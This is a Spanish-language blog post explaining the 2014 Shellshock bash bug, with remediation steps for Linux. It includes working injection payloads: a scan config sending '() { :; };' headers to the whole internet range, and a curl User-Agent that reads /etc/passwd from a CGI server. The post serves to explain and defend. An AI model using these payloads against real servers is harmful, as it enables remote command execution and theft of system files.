Blog

Shellshock Bash bug explicado Blog

Tags: Hacking Security

El 24 de septiembre del 2014 se publicó una vulnerabilidad llamada Shellshock bash bug, realmente es algo muy grave porque existen muchos sistemas que utilizan bash.


Ejemplos prácticos de la vulnerabilidad

Básicamente sistemas unix, linux y macos se ven afectados principalmente, este bug lo que permite hacer al atacante es ejecutar comando en el Bash de manera remota, Robert Graham nos pone el siguiente ejemplo. 

El siguiente request es ejecutado en algunos servidores usando CGI, CGI internamente utiliza bash, por lo tanto el sitio es vulnerable:

target-ip = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74

Al realizar ese request a un servidor vulnerable, prácticamente estaríamos ejecutando el comando "ping" en ese servidor! Imaginen si en lugar de hacer un ping comenzamos a exponer información privada:

$ curl -A "() { foo;};echo;/bin/cat /etc/passwd" http://server.vulnerable.com/somecgiscript

También se podría escribir al programa que se propagara automáticamente, realmente las posibilidades son infinitas, es algo muy serio.

Que sucede realmente?

El problema sucede porque bash interpreta el código inyectado al termino de una función, esto cuando se define una variable de entorno, en los ejemplos anteriores la función no hace absolutamente nada:

(){:;};

Es simplemente una definición, lo que viene después de esa función es lo que realmente es el problema, ya que bash ejecutará ese código! Por ejemplo esto:

/bin/cat /etc/passwd > dumped_file
Es algo realmente serio, poder ejecutar comandos de manera remota en nuestro sistema. Muchos servidores Apache, principalmente, utilizan CGI internamente, CGI por su parte utiliza bash, es por eso que en el request del ejemplo anterior termina ejecutándose en el sistema vulnerable.

Como me protejo?

Ahora bien, para saber si tu sistema es vulnerable ejecuta el siguiente comando en tu terminal.

$ env x='() { :;}; echo vulnerable' bash -c 'echo hello'

Si te aparece un error, entonces estas protegido, pero si te aparece la palabra vulnerable, deberías actualizar bash en tu sistema cuanto antes.

Para sistemas linux ya hay una actualización disponible, en sistemas Ubuntu, Debian y semejantes, simplemente ejecuta el siguiente comando:

$ sudo apt-get update && sudo apt-get install --only-upgrade bash

Para sistemas CentOS, Fedora, RedHat y semejantes utiliza el siguiente comando:

$ yum -y update bash

Tristemente para mac todavía no hay una actualización, aunque estoy seguro de que ya trabajan en ella, si eres paranoico puedes seguir esta guia para actualizar bash.

Personalmente he actualizado mis servidores, tan pronto como me entere de esta noticia! Así que te recomiendo hacer lo mismo.

1Comentario

Instructor del curso

Crysfel3

Autor: Crysfel Villa

Soy un geek que disfruta crear y compartir cosas en internet! Sígueme en twitter @crysfel